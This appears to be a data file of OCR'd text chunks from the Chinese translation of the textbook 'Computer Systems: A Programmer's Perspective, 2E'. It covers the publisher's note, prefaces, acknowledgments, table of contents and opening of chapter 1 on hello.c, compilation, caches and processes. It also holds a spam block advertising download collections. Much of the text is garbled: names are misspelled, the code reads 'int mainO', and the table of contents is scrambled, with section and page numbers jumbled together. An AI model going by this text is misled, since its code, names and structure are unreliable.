    {"text": "68995259 投稿热线：（010) 88379604 读者信箱： hzjsj@hzbook.com I 出版者的话 Computer Systems ： A Programmer’s Perspective, 2E 文艺复兴以降，源远流长的科学精神和逐步形成的学术规范，使西方国家在自然科学的各个 领域取得了垄断性的优势；"},
    {"text": "在商业化的进程中，美国的产业界与教育界越来越紧密地结合，计算机学科中的许多 泰山北斗同时身处科研和教学的最前线，由此而产生的经典科学著作，不仅擘划了研究的范畴, 还揭示了学术的源变，既遵循学术规范，又自有学者个性，其价值并不会因年月的流逝而减退。"},
    {"text": "在我国信息技术发展时间较短的现状下，美国等发达国家在其计算机科学发展的几十年 间积淀和发展的经典教材仍有许多值得借鉴之处。 因此，引进一批国外优秀计算机教材将对我国 计算机教育事业的发展起到积极的推动作用，也是与世界接轨、建设真正的世界一流大学的必由 之路。"},
    {"text": "经过多年的不懈努力，我们与Pearson，McGraw-Hill, Elsevier, MIT, John Wiley & Sons, Cengage等世界著名出版公司建立了良好的合作关系，从 他们现有的数百种教材中甄选出 Andrew S. Tanenbaum, Bjame Stroustrup, Brain W. Kemighan, Dennis Ritchie, Jim Gray, Afred V. Aho, John E. Hopcroft, Jeffrey D. Ullman, Abraham Silberschatz, William Stallings, Donald E. Knuth, John L. Hennessy, Larry L. Peterson 等大师名 家的一批经典作品，以“计算机科学丛书”为总称出版，供读者学习、研究及珍藏。"},
    {"text": "“计算机科学丛书”的出版工作得到了国内外学者的鼎力襄助，国内的专家不仅提供了中肯 的选题指导，还不辞劳苦地担任了翻译和审校的工作；"},
    {"text": "其影印版“经 典原版书库”作为姊妹篇也被越来越多实施双语教学的学校所采用》 权威的作者、经典的教材、一流的译者、严格的审校、精细的编辑，这些因素使我们的图书 有了质量的保证。"},
    {"text": "随着计算机科学与技术专业学科建设的不断完善和教材改革的逐渐深化，教育 界对国外计算机教材的需求和应用都将步入一个新的阶段，我们的目标是尽善尽美，而反馈的意 见正是我们达到这一终极目标的重要帮助。"},
    {"text": "华章公司欢迎老师和读者对我们的工作提出建议或给 予指正，我们的联系方法如下： 华章教育 华章科技图书_出版中心 华章网站：www. hzbook. com 电子邮件：hzjsj@hzbook. com 联系电话：(010) 88379604 联系地址：北京市西城区百万庄南街1号 邮政编码：100037 译者序 I Computer Systems ： A Programmer * s Perspective, 2E 本书通过程序员的视角来介绍计算机系统，首先把高级语言转换成计算机所能理解的一种中 间格式（如汇编语言)，然后描述计算机如何解释和执行这些中间格式的程序，系统的哪一部分 影响程序的执行效率。 在讲述计算机系统知识的同时，也给出了关于c语言和汇编语言的编程、 阅读技巧以及基本的系统编程工具，还给出一些方法帮助程序员基于对计算机系统的理解来改善 程序的性能等问题。"},
    {"text": "本书的主要内容是关于计算机体系结构与编译器和操作系统的交互，包括：数据表示，汇编 语言和汇编级计算机体系结构，处理器设计，程序的性能度量和优化，程序的加载器、链接器和 编译器，i/o和设备的存储器层次结构，虚拟存储器，外部存储管理，中断、信号和进程控制。 本书的最大优点是为程序员描述计算机系统的实现细节，帮助其在大脑中构造一个层次型的 计算机系统，从最底层的数据在内存中的表示（如大多数程序员一直陌生或疑惑的浮点数表示)， 到流水线指令的构成，到虚拟存储器，到编译系统，到动态加载库，到最后的用户态应用。 贯串 本书的一条主线是使程序员在设计程序时，能充分意识到计算机系统的重要性，建立起所写程序 可能被执行的数据或指令流图，明白执行程序时到底发生了什么事，从而能设计出高效、可移 植、健壮的程序，并能够更快地对程序排错、改进程序性能等。"},
    {"text": "原书是卡内基-梅隆大学（CMU)的教材，现在很多国内外著名的大学也选用其作为教材 或辅助性资料，因此，本书的读者不仅仅是那些因为工作和兴趣而关注本书的人，还包JS—些在 校的大学生。"},
    {"text": "由于计算机技术的飞速发展，第2版相对于第1 版做了大量的修改。 首先，针对硬件技术和编译器技术的变化，第2版对系统的介绍，特别是实 际使用部分，做了增加和修改。"},
    {"text": "前言丨 Computer Systems ： A Programmer^ Perspective, 2E 本书的主要读者是计算机科学家、计算机工程师，以及那些想通过学习计算机系统的内在运 作而能够写出更好程序的人。"},
    {"text": "当然，学习一个计算机系统应该做 些什么，是学习如何构建一个计算机系统的很好的出发点，所以，对于希望继续学习系统软硬件 实现的人来说，本书也是一本很有价值的介绍性读物。"},
    {"text": "如果你研究和领会了这本书里的概念，你将开始成为极少数的“牛人”，这些“牛人”知道 事情是如何运作的，也知道当事情出现故障时如何修复。"},
    {"text": "X86-64是IA32的一种扩展，它 允许程序操作更多的数据，引用更广范围的内存地址。 由于X86-64系统可以运行IA32的代码， 因而在可预见的未来，这商种格式的机器代码都会得到广泛的应用。"},
    {"text": "如果你的计算机运行的是Microsoft Windows系统，你有两种选择：一种是获取一个Linux 的拷贝（参见www.ubuntu.com)，然后安装Linux作为“双重启动”的一个选项，这样你的 机器就能运行其中任意一个操作系统了 ； 另一种是通过安装Cygwin工具(www.cygwin.com),你 就能在Windows下得到一个类似Unix的外壳（shell)以及一个非常类似于Linux所提供的环 境。"},
    {"text": "无论你的编程背景如何，都应该考虑将K&R作为你个人系统书籍收藏的 部分■» 这本书的前几章揭示了 C语言程序和它们相对应的机器语言程序之间的交互作用。"},
    {"text": "C语言初学者 ： 关于C编程语言的建议 为了帮助C语言编程背景薄弱（或全无背景）的读者，我们在书中加入了这样一些专门的 注释来突出C中一些特别重要的特性。"},
    {"text": "code/intro/hello. c #include <stdio.h> 2 int mainO { printf(\"hello, world\\n\"); return 0; } code/intro/hello. c 图i 一个典型的代码示例 为了避免使本书体积过大，内容过多，我们创建了许多网络旁注（Web aside),包括一些对 本书主要内容的补充资料。"},
    {"text": "我们考虑数字是如何 表示的，以及由此确定对于一个给定的字长，其可能编码值的范围。 我们讨论该如何表示 数字，以及因此用给定的字长能编码的数值的范围。"},
    {"text": "比如，程序员和编译器不能用 表达式（x-y<0)来替代（x<y),因为前者可能会产生溢出。 甚至于也不能用表达式（-y<-x) 来替代，因为在二进制补码表示中负数和正数的范围是不对称的。"},
    {"text": "我们还以分析程序在机器级的样子 作为途径，来理解常见的代码安全漏洞，例如，.缓冲区溢出，以及理解程序员、编译器和 操作系统可以采取的减轻这些威胁的措施。"},
    {"text": "这一章讲述基本的组合和时序逻辑元素，并展示这些元素如 何在数据通路（datapath)中组合到一起来执行IA32指令集的一个称为“Y86”的简化子 集。"},
    {"text": "用HCL写的硬件设计能够编译和链接到本书提供的 模拟器中，还可以根据这些设计生成Verilog描述，它适合合成（synthesis)到实际可以运 行的硬件上去。"},
    {"text": "为了解释这些变换行之有效的原理，我们介绍了一个简单 的操作模型，它描述了现代乱序（out-of-order)处理器是如何工作的，然后给出了如何根 据一个程序的图形化表示中的关键路径来测量一个程序可能的性能。"},
    {"text": "我们讲述不同类型的随机存取存储器（RAM)和只读存储器 (ROM),以及磁盘和固态硬盘（译者注：直译应为固态驱动器，但固态硬盘一词已经被大 家接受，所以延用）的几何形状和组织构造。"},
    {"text": "本章讲述静态和动态链接，包括的概念有可重定位的（relocatable)和可执 行的目标文件、符号解析、重定位（relocation)、静态库、共享目标库，以及与位置无关 的代码。"},
    {"text": "我们给出存在于系统 所有层次的异常控制流的例子，从底层的硬件异常和中断，到并发进程的上下文切换，到由 于Unix信号传送引起的控制流突变，到C语言中破坏栈原则的非本地跳转（nonlocaljump)。"},
    {"text": "在这一章，我们介绍进程的基本概念，进程是对一个正在执行的程序的一种抽象。 读者会学 习到进程是如何工作的，以及如何在应用程序中创建和操纵进程。"},
    {"text": "对编程而言，网络是非常有趣的I/O设备，将许多我们前面文中学习 的概念，比如进程、信号、字节顺序（byte order),存储器映射和动态存储器分配，联系 在一起。"},
    {"text": "本书的起源 本书起源于1998年秋季，我们在卡内基-梅隆（CMU)大学开设的一门编号为15-213的 介绍性课程：计算机系统导论（Introduction to Computer Systems, ICS) [14]。"},
    {"text": "这门课程是卡内基-梅隆大学计算机科学系（CS)以及电子和计算机工程系 (ECE)所有本科生的必修课，也是大多数髙级系统课程的先行必修课。"},
    {"text": "所以我们决定从程序员的角度来讲解 系统，并采用这样的原则来过滤要讲述的内容：我们只讨论那些影响用户级C语言程序的性能、 正确性或实用性的主题。"},
    {"text": "虽然我们谈及了机器语言，但是 重点并不在于如何手工编写汇编语言，而是关注C语言编译器是如何将C语言的结构翻译成机 器代码的，包括编译器是如何翻译指针、循环、过程调用以及开关（switch)语句的。"},
    {"text": "更进一步 地，我们将更广泛和全盘地看待系统，包括硬件和系统软件，涵盖了包括链接、加载、进程、信 号、性能优化、虚拟存储器、I/O以及网络与并发编程等在内的主题。"},
    {"text": "•ICS:基本的ICS课程，旨在培养一类程序员，他们能够理解硬件、操作系统和编译系统 对应用程序的性能和正确性的影响，和ORG+课程的一个显著不同是，本课程不论及低层 次的处理器体系结构。"},
    {"text": "章节 论题 课程 ORG ORG+ ICS ICS+ SP 1 系统漫游 2 数据表示 參 參 • 參 0 (d) 3 机器语言 4 处理器体系结构 • • 5 代码优化 參 • 參 6 存储器层次结构 o( a ) • • • d ⑷ 7 链接 0 ( c ) G (c) • 8 异常控制流 參 • • 9 虚拟存储器 0 (b) • • • • 10 系统级i/o 參 參 11 网络编程 • 參 12 并发编程 參 • 图2五类基于本书的课程 注 ：（a) 只有硬件；"},
    {"text": "另一方面，如果你想将\nxni 当前的计算机组成原理课程转换成ICS或者ICS+课程，但是又担心突然做这样剧烈的变化，'那 么你可以逐步递增转向ICS课程。"},
    {"text": "最后，我们认为ORG+和SP课程适合安排为两学期（两个小学期或者两个学期）o或者你 可以考虑按照一学期ICS和一学期SP的方式来教授ICS+课程。"},
    {"text": "这个实 验向学生们揭示了 Web客户端和服务器这样的主题，并且把课程中的许多概念联系起来， 比如字节排序、文件I/O、进程控制、信号、信号处理、存储器映射、套接字和并发。"},
    {"text": "首先，我们要感谢在卡内基-梅隆大学教授ICS课程的同事们，感谢你们见解深刻的反馈意 见和鼓励：Guy Blelloch、Roger Dannenberg、David Eckhardt、Greg Ganger、Seth GoldstQin、Greg Kesden、Bruce Maggs、ToddMowry、Andreas Nowatzyk、Frank Pfenning 和 MarkusPueschel。"},
    {"text": "还要感谢报告第1版勘误的目光敏锐的读者们：Daniel Amelang、Rui Baptista、Quarup Barreirinhas、Michael Bombyk、Jorg Brauer、Jordan Brough、Yixin Cao、James Caroll、Rui Carvalho、Hyoung-Kee Choi、A1 Davis、Grant Davis、Christian Dufour、Mao Fan、Tim Freeman、 Inge Frick、Max Gebhardt、Jeff Goldblat、Thomas Gross、Anita Gupta、John Hampton、Hiep Hong、Greg Israelsen、Ronald Jones、HaudyKazemi、Brian Kell、Constantine Kousoulis、Sacha Krakowiak、Arun Krishnaswamy、Martin Kulas、Michael Li、Zeyang Li、Ricky Liu、Mario Lo Conte、Dirk Maas、Devon Macey、Carl Marcinik、Will Marrero、Simone Martins、Tao Men、 Mark Morrissey、Venkata Naidu、Bhas Nalabothula、Thomas Niemann、Eric Peskin、David Po、Anne Rogers、John Ross、Michael Scott、Seiki、Ray Shih、Darren Shultz、Erik Silkensen、 Suryanto、Emil Tarazi、Nawanan The era-Ampompunt N Joe Trdinich、Michael Trigoboff、James Troup、Martin Vopatek、Alan West、Betsy Wolff、Tim Wong、JamesWoodruff、Scott Wright、 Jackie Xiao、Guanpeng Xu、Qing Xu、Caren Yang、Yin Yongsheng、Wang Yuanxuan、Steven Zhang和Day Zhong。"},
    {"text": "特别感谢Inge Frick,他发现了我们加锁拷贝（lock-and-copy)例子中一个 极不明显但很深刻的错误，还要特别感谢RickyLiu，他校对的技术真的很棒。"},
    {"text": "非常感谢审阅本书草稿的同事们：James Archibald (百翰杨大学，Brigham Young University)、 Richard Carver (乔治梅森大学，George Mason University) ^ Mirela Damian (维拉诺瓦大学，Vlllanova University)、Peter Dinda (西北大学）、John Fiore (坦普尔大学，Temple University)、Jason Fritts (圣 路易斯大学，StLouis University)、John Greiner (莱斯大学）、Brian Harvey (加州大学伯克利分 校）、Don Heller (宾夕法利亚州立大学）、Wei Chung Hsu (明尼苏达大学）、Michelle Hugue (马 里兰大学）、Jeremy Johnson (德雷克塞尔大学，Drexel University)、Geoff Kuenning (哈维马德学院， Harvey Mudd College)、Ricky Liu、Sam Madden (麻省理工学院）、Fred Martin (马萨诸塞大学洛 厄尔分校，University of Massachusetts, Lowell)、Abraham Matta (波士顿大学）、Markus Pueschel (卡 内基-梅隆大学）、Norman Ramsey (塔夫茨大学，Tufts University)、Glenn Reinmann (加州大学 洛杉矶分校）、Michela Taufer (特拉华大学，University of Delaware)和 Craig Zilles (伊利诺伊大 学香槟分校）。"},
    {"text": "非常感谢Paul和他超棒的团队：Rick Camp (文字编辑）、Joe Snowden (排版）、MaryEllenN.01iver (校对)、Laurel Muller (美术）和Ted Laux (索弓丨制作）。"},
    {"text": "有一群特殊的学生极大地帮助我们发展了这门课程的内容，他们是Khalil Amiri、Angela Demke Brown > Chris Colohan、Jason Crawford、Peter Dinda、Julio Lopez、Bruce Lowekamp、 Jeff Pierce、Sanjay Rao、Balaji Sarpeshkar、Blake Scholl、Sanjit Seshia、Greg Steffan、Tiankai Tu、Kip Walker和Yinglian Xie。"},
    {"text": "尤其是Chris Colohan建立了愉悦的氛围并持续挺今天，还发明 了传奇般的“二进制炸弹”，这是一个对教授机器语言代码和调试概念非常有用的工具。"},
    {"text": "Chris Bauer、Alan Cox、Peter Dinda、SandhyaDwarkadis、John Greiner > Bruce Jacob、Barry Johnson > Don Heller、Bruce Lowekamp、Greg Morrisett、Brian Noble、Bobbie Othmer、Bill Pugh、Michael Scott、Mark Smotherman、Greg Steffan 和 Bob Wier 花费了大量时间阅读此书的 早期草稿，并给予我们建议。"},
    {"text": "特别感谢Peter Dinda (西北大学)、John Greiner (莱茨大学)、Wei Hsu (明尼苏达大学)、Bruce Lowekamp (威廉&玛丽大学)、Bobbie Othmer (明尼苏达大学)、 Michael Scott (罗彻斯特大学）和Bob Wier (落基山学院）在教学中测试此书的试用版。"},
    {"text": "Randy Bryant Dave 0,Hallaron 于匹兹堡，宾夕法尼亚州\n关于作者 I Computer Systems ： A Programmer’s Perspective，2E Randal E. Bryant 1973 年于密歇根大学（University of Michigan)获得学 士学位，随 即就读于麻省理工学院的研究生院，并在1981年获得计算机博士学位。"},
    {"text": "在讲授计算机体系结构课程 多年后，他开始把关注点从如何设计计算机转移到程序员如何在更好地了解系统的情况下编写出 更有效和更可靠的程序。"},
    {"text": "其中包括Semiconductor Research Corporation颁 发的两个发明荣誉奖和一个技术成就奖，ACM颁发的Kanellakis理论与实践奖，还有IEEE颁发 的 W.R.G.Baker 奖、Emmanuel Piore 奖和 Phil Kaufman 奖。"},
    {"text": "David R. O’Hallaron拥有弗吉尼亚大学计算机科学博士学位，现为Intel匹兹堡实验室主 任，卡内基-梅隆大学计算机科学和电子与计算机工程副教授。"},
    {"text": "计算机精品学习资料大放送 软考官方指定教材及同步辅导书下载 丨 软考历年真是解析与答案 软考视频 丨 考试机构 丨 考试时间安排 Java 一览无余： Java视频教程 丨 Java SE 丨 Java EE .Net技术精品资料下载汇总：ASP.NET篇 .Net技术精品资料下载汇总：C#语言篇 .Net技术精品资料下载汇总：VB.NET篇 撼世出击：C/C++编程语言学习资料尽收眼底电子书+视频教程 Visual C++(VC/MFC)学习电子书及开发工具下载 Perl/CGI脚本语言编程学习资源下载地址大全 Python语言编程学习资料(电子书+视频教程)下载汇总 最新最全Ruby、Ruby on Rails精品电子书等学习资料下载 数据库精品学习资源汇总： MySQL篇 丨 SQL Server篇 丨 Oracle篇 最强HTML/xHTML、CSS精品学习资料下载汇总 最新JavaScript、Ajax典藏级学习资料下载分类汇总 网络最强PHP开发工具+电子书+视频教程等资料下载汇总 UML学习电子资下载汇总软件设计与开发人员必备 经典LinuxCBT视频教程系列Linux快速学习视频教程一帖通 天罗地网：精品Linux学习资料大收集(电子书+视频教程）Linux参考资源大系 Linux系统管理员必备参考资料下载汇总 Linux shell、内核及系统编程精品资料下载汇总 UNIX操作系统精品学习资料< 电子书+视频 >分类总汇 FreeBSD/OpenBSD/NetBSD精品学习资源索引含书籍+视频 Solaris/OpenSolaris电子书、视频等精华资料下载索引\nI目录 Computer Systems : A Programmer’s Perspective, 2E\n出版者的话 译者序 前言 第 1 章计算机系统漫游 1 1.1信息就是位+上下文 1 1.2程序被其他程序翻译成不同的 格式 ^ 1.3 了解编译系统如何工作是大有 益处的 4 1.4处理器读并解_存储在存储器 中的指令 5 系统的硬件组成…… 5 运行hello程序 7 1.5高速缓存至关重要 7 .1,6存储设备形成层次结构 9 1.7操作系统管理硬件 10 进程 11 线程 12 虚拟存储器 12 文件… 13 1.8系统之间利用网络通信 13 重要主题 15 并发和并行 15 计算机系统中抽象的 重要性 厂 小结 17 参考文献说明••••••••• 18 第一部分程序结构和执行 第 2 章信息的表示和处理 20 2.1信息存储 22 2.1.1十六进制表示法 22 字 25 数据大小 25 寻址和字节顺序••………•… 26 表示字符串 2.1.6表示代码 3/ 2.1.7布尔代数简介 32 C语言中的位级运算 34 C语言中的逻辑运算 36 C语言中的移位运算…… 36 整数表示 …… 38 整型数据类型 38 无符号数的编码 39 补码编码 40 有符号数和无符号数之间的 转换 44 C语言中的有符号数与 无符号数… 47 扩展一个数字的位表示…… 49 截断数字 5J 关于有符号数与无符号数的 建议 M 整数运算 54 无符号加法 54 补码加法 57 补码的非 59 无符号乘法 60 补码乘法 ……• 60 乘以常数 63 2.3.7除以2的幂 64. 关于整数运算的最后思考•” 67 浮点数…… 61 二进制小数 68 IEEE浮点表示 70 数字示例 71 舍入 14 浮点运算 76\nC语言中的浮点数 77 159 161 163 164 167 170 /]滿 •‘••••••• 79 参考文献说明 80 家庭作业 洲 练习题答案 90 第 3 章程序的机器级表示 •”…102 3.1历史观点…… 103 程序编码 】05 3.2.1机器级代码… 106 代码示例 1Q7 关于格式的注解 109 3.3数据格式••……”…•…………•……111 访问信息 … 112 操作数指示符 >…… U2 3.4.2数据传送指令 U4 数据传送示例 U6 3.13.6关手06-64的总结性 评论………… 3.14浮点程序的机器级表示“ • 、 3.15小结… 参考女献说明……………………•… 家庭作血 绨习题答案 第 4 章处理器体系结构 ••••••• 4.1 Y86指令集体系结构 …* 4.r.r程序员可见的状态\"\"… 4.1.2 Y86 指令•…… ••••• 4.1.3指令编码……“…，，…… Y86 异常 Y86 程序 — “些Y86指令的详情…• 3.5。"},
    {"text": "算术和逻辑操作 …118 加载有效地址 JI8 二元操作和主元操作 ……119 移位操作…… !20 义5.4讨论 •••••…120 3.5:5特殊的算术操作…•”……122 控制 ……\"… J23 … 3.6.1 条件码 124 访问条件码 ' 3.6.3跳转指令及其编码 121 翻译条件分支 129 循环 132 条件传送指令、,………•…. 139 3.6.7 switch语句 144 • 3.7过程 …149 ' 3.7.1栈帧结构 …149 4：2； 1 逻辑门 ………… 4.2.2组合电路和HCL布尔 • • • » • *••••• •••••_ 4.2.3字级的组合电路和HCL , 整数表达式 4.2.4集合关系… 3.71:.转栘控制—…… 150 .3.7.3寄存器使用惯例一…十…757 3.7.4、过程示例 152 3.7:5 遂归过程 156 数组分配和访问”………‘………158 3.8.1基本原则 > 158 指针运算…— 159 3.8.3嵌套的数组 定长数组… 变长数组… 异质的数据结构… 结构 3.9.2联合 数据对齐… 3.10 综合： 理解指针 172 3.11 应用： 俾用GDB调辦器 •…\"••• 174 3.12 存储器的越界引用和缓冲区 溢出 175 3.13 X86-64 ：将IA32扩展到64位… 183 3.13.1 x86-64的历史和动因… 184 3.13.2 x86-64 简介 185 3.13.3 访问信息 187 3.13.4 192 3.13.5 政七结构 200 200 201 201 202 202 212 230 231 231 232 237 237 241 逻辑设计和硬件控制语言HCL… 242 243 243 245 248 4.2.5存储器和时钟 248 Y86的顺序实现 250 将处理组织成阶段 250 SEQ硬件结构…… 258 SEQ 的时序 259 SEQ阶段的实现 2幻 流水线的通用原理 261 计算流水线 268 流水线操作的详细说明… 269 流水线的局限性 271 带反馈的流水线系统…… 212 Y86的流水线实现 273 SEQ+ ：重新安;^计算 阶段 273 插入流水线寄存器••…….276 对信号进行重新列和 标号 277 预测下一个PC 279 流水线冒险 280 用暂停来避免数据冒险… 2谷3 用转发来避免数据冒险… 284 加载/使用数据冒险•“… 288 异常处理… 289 PIPE各阶段的实现…… 291 流水线控制逻辑 296 性能分析 305 未完成的工作 306 小结“ 308 参考文献说明”…………•……•…… 309 家庭作业 309 练习题答案 314 第 5 章优化程序性能 •………。"},
    {"text": "你将了解到编译器是如何实现过程调用的 ， 以及如何利用这些知识避免缓冲区溢出错误 带来的安全漏洞，这些弱点会给网络和因特网软件带来了巨大的麻烦。"},
    {"text": "从某种意义上来说，本书的目的就是要帮助你了解当你在系统上执行 hello程序时 ， 系统发生了什么以及为什么会这样。 code/intro/hello. c #include <stdio.h> 2 int mainO { printf(\"hello, world\\n\"); } ： ： code/intro/hello. c 图1-1 hello程序 我们通过跟踪hello程序的生命周期来开始对系统的学习——从它被程序员创建，到在系 统上运行，输出简单的消息，然后终止 。"},
    {"text": "1.1信息就是位+上下文 hello程序的生命周期是从一个源程序（或者说源文件）开始的 ， 即程序员利用编辑器创 建并保存的文本文件 ， 文件名是hello.c。"},
    {"text": "每个字节都有一个整数值，而该整数值对\n应于某个字符。 例如，第一个字节的整数值是35,它对应的就是字符； 第二个字节整数值 为105,它对应的字符是‘i’，依次类推。"},
    {"text": "# i n c 1 u d e <sp> < ■ s t d i 0 35 105 110 99 108 117 100 101 32 60 115 116 100 105 111 46 h > \\n \\n i n t <sp> m a i n ( ) \\n 104 62 10 10 105 110 116 32 109 97 105 110 40 41 10 123 \\n <sp> <sp> <sp> <sp> P r i n t f ( \" h e 1 10 32 32 32 32 112 114 105 110 116 102 40 34 104 101 108 1 0 9 <sp> w 0 . r 1 d \\ n fl ) f \\n > 108 111 44 32 119 111 114 108 100 92 110 34 41 59 10 125 图1-2 hello. c的ASCII文本表示 hello • c的表示方法说明了一个基本的思想：系统中所有的信息■~包括磁盘文件、存储 器中的程序、存储器中存放的用户数据以及网络上传送的数据，都是由一串位表示的。"},
    {"text": "美国国家标准学会 (American National Standards Institute, ANSI)在 1989 年顾布 了 ANSI C 的标准，后来使 C 语 言标准化成为了国际标准化组织（International Standards Organization, ISO)的责任。"},
    {"text": "C语言与Unix操作系统关系密切。 C语言从一开始就是作为一种用于Unix系统的程序 设计语言而开发出来的。 大部分Unix内核，以及所有支撑工具和函数库都用C语言编 写的。 20世纪70年代后期到80年代初期，Unix在高等院校兴起，许多人开始接触C语 言并喜欢上了它。 因为Unix几乎全部是用C编写的，所以可以很方便地移植到侖的机器 上，这种特点为C和Unix赢得了更为广泛的支持。"},
    {"text": "在Unix系统上，从源文件到目标文件的转化是由编译器驱动程序完成的： unix> gcc -o hello hello.c 在这里，GCC编译器驱动程序读取源程序文件hello.c,并把它翻译成一个可执行目标文件 hello。"},
    {"text": "printf• hello.c 预处理器 (cpp) hello.i 编译器 ( cel ) hello.s 汇编器 ( as ) 1 > hello.o 链接器 (Id) hello 源程序 (文本） 被修改的 源程序 汇编程序 (文本） 可重定位 目标程序 可执行 百标程序 (文本） (二进制) (二进制） 图1-3编译系统 •预处理阶段。"},
    {"text": "接下来，汇编器（as)将hello , s翻译成机器语言指令,把这些指令打包成 一种叫傲可重定位目标程序（relocatable object program)的格式，并将结果保存在目标文 件hello .o中。 hello.o文件是一个二进制文件，它的字节编码是机器语言指令而不是 字符。"},
    {"text": "请注意 ， hello程序调用了 printf函数，它是每个C编译器都会提供的标 准C库中的一个函数。 printf函数存在于一个名为printf .o的单独的预编译好了的目 标文件中，而这个文件必须以某种方式合并到我们的hello.o程序中。"},
    {"text": "在第6章，你将学习到 存储器系统的层次结构特性，C语言编译器将数组存放在存储器中的方式，以及C程 序又是如何能够利用这些知识从而更高效地运行。"},
    {"text": "要想在Unix系统上运行该可执行文件，我们将它的文件名输入到称为外壳（shell)的应 用程序中： unix> ./hello hello, world unix> 外壳是一个命令行解释器，它输出一个提示符，等待你输入一个命令行，然后执行这个命 令。 如果该命令行的第一个单词不是一个内置的外壳命令，那么外壳就会假设这是一个可执行文 件的名字，它将加载并运行这个文件。"},
    {"text": "我们的示例系统包括4个I/O设备： 作为用户输人的键盘和鼠标，作为用户输出的显示器，以及用于长期存储数据和程序的磁盘驱动\n器（简单地说就是磁盘)。"},
    {"text": "主存 主存是一个临时存储设备，在处理器执行程序时，用来存放程序和程序处理的数据。 从物理 上来说，主存是由一组动态随机存取存储器（DRAM)芯片组成的。"},
    {"text": "处理器 中央处理单元（CPU),简称处理器，是解释（或执行）存储在主存中指令的引擎。 处理器 的核心是一个字长的存储设备（或寄存器)，称为程序计数器（PC)。"},
    {"text": "处理器从程序计数器（PC)指向的存储器处读取指令，解释指令中 的位，执行该指令指示的简单操作，然后更新PC，使其指向下一条指令，而这条指令并不一定 与存储器中刚刚执行的指令相邻。"},
    {"text": "下面列举一些简单操作的例子，CPU在指 令的要求下可能会执行以下操作： •加载：把一个字节或者一个字从主存复制到寄存器，以覆盖寄存器原来的内容。"},
    {"text": "一旦目标文件hello中的代码和数据被加载到主存，处理器就开始执行hello程序的 main程序中的机器语言指令。 这些指令将“hello, world\\n\"字符串中的字节从主存复制到 寄存器文件，再从寄存器文件中复制到显示设备，最终显示在屏幕上。"},
    {"text": "1.5 高速缓存至关重要 这个倚单的示例揭示了一个重要的问题,即系统花费了大量的时间把信息从一个地方挪到另 一个地方6 hello輕序的机器指令最初是存放在磁盘上的，当程序加载时，它们被复制到主存；"},
    {"text": "CPU USB 图形z 磁盘 控制器 •适寧器 ： 控制器 鼠标 显示器 ‘hello, world\\n” CPU “hello, worldW， hello代码 扩展槽，留待 网络适配器一 类的设备使用 T 键盘 存储在磁盘上的hello 可执行文件'\n图1-7将输出字符串从内存写到显示器 根据机械原理，较大的存储设备要比较小的存储设备运行得慢，而快速设备的造价远高于同 类的低速设备。"},
    {"text": "例如，一个典型系统上的磁盘驱动器可能比主存大1000倍，但是对处理器而言， 从磁盘驱动器上读取一个字的时间开销要比从主存中读取的开销大1000万倍。"},
    {"text": "针对这种处理器与主存之间的差异，系统设计者釆用了更小、更快的存储设备，即高速缓 存存储器（简称高速缓存)，作为暂时的集结区域,用来存放处理器近期可能会需要的信息。"},
    {"text": "位于处理器芯片上的L1高速缓存的容量可以达\nCPU芯片 图1-8高速缓存存储器 到数万字节，访问速度几乎和访问寄存器文件一样快。 一个容量为数十万到数百万字节的更大的 L2高速缓存通过一条特殊的总线连接到处理器。"},
    {"text": "系统可以获得一个很大的存储器，同时访问速度也很快，原因是 利用了高速缓存的局部性原理，即程序具有访问局部区域里的数据和代码的趋势。 通过让高速缓 存里存放可能经常访问的数据的方法，大部分的存储器操作都能在快速的高速缓存中完成。"},
    {"text": "1.6 存储设备形成层次结构 在处理器和一个又大又慢的设备（例如主存）之间插入一个更小更快的存储设备（例如高速 缓存）的想法已经成为了一个普遍的观念。"},
    {"text": "这里我们展示的是三层高速缓存L1到L3,占据存储器层次结构的第1 CPU寄存器保存来自高速缓存 存储器的字 更小 更快 (每字节) 更贵的 存储设备 更大 更慢 (每字节) 更便宜的 存储设备 L1高速缓存保存取自L2高速缓存 的髙速缓存行 L2高速缓存保存取自L3高速缓存 的高速缓存行 L3髙速缓存保存取自主存 的髙速缓存行 主存保存取自本地磁盘 的磁盘块 本地磁盘保存取自远程网络 服务器上磁盘的文件 图1-9 一个存储器层次结构的示例 www.TopSage.com 应用程序 1 操作系统 J 处理器 主存 I/o设备 } 图1-10计算机系统的分层视图 进程 虚拟存储器 文件 主存 处理器 I/o设备 图1-11操作系统提供的抽象表示 层到第3层。"},
    {"text": "操作系统 通过几个基本的抽象概念（进程、虚拟 存储器和文件）来实现这两个功能。 如 图1-11所示，文件是对I/O设备的抽象表 示，虚拟存储器是对主存和磁盘I/O设备的抽象表示，进程则是对处理器、主存和I/O设备的抽 象表示。"},
    {"text": "鉴于Multics项目不愉快的经历，一组贝尔实验室的研究人员—— Ken Thompson、Dennis Ritchie、Doug Mcllroy 和 Joe Ossanna,从 1969 年开始在 DEC PDP-7 计 算机上完全用机器语言编写了一个简单得多的操作系统。"},
    {"text": "最有影响的工作是20世纪70年代晚期到80年代早期，在美国加州大学伯克利分校， 伯克利的研究人员在一系列发布版本中增加了虚拟存储器和Internet协议，称为Unix 4.xBSD (Berkeley Software Distribution) c 与此同时，贝尔实验室也在发布自己的版本，即System V Unix。"},
    {"text": "1.7.1进程 像hello这样的程序在现代系统上运行时，操作系统会提供一种假象，就好像系统上只有 这个程序在运行，看上去只有这个程序在使用处理器、主存和I/O设备。"},
    {"text": "在大多数系统中，需要运行的进程数是多于可以运行它们的CPU个数的。 传统 系统在一个时刻只能执行一个程序，而先进的多核处理器同时能够执行多个程序。 无论是在单核 还是多核系统中，一个CPU看上去都像是在并发地执行多个进程，这是通过处理器在进程间切 换来实现的。"},
    {"text": "当操作系统决定要把控制权从当前进程转移到某个新进程时，就会进行上 下文切换，即保存当前进程的上下文、恢复新进程的上下文，然后将控制权传递到新进程。"},
    {"text": "read 磁盘中断- 从read返回- > 进程A 进程B V 用户代码 内核代码 \\1 用户代码 内核代码 用户代码 >上下文切换 上下文切换 图1-12进程的上下文切换 示例场景中有两个并发的进程：外壳进程和hello进程。"},
    {"text": "当我们让它运行hello程序时，外壳通过调用一个专门的函数，即系统 调用，来执行我们的请求，系统调用会将控制权传递给操作系统。 操作系统保存外壳进程的上下 文，创建一个新的hello进程及其上下文，然后将控制权传递给新的hello进程。 hello进 程终止后，操作系统恢复外壳进程的上下文，并将控制权传回给它,外壳进程将继续等待下一个 命令行输人。"},
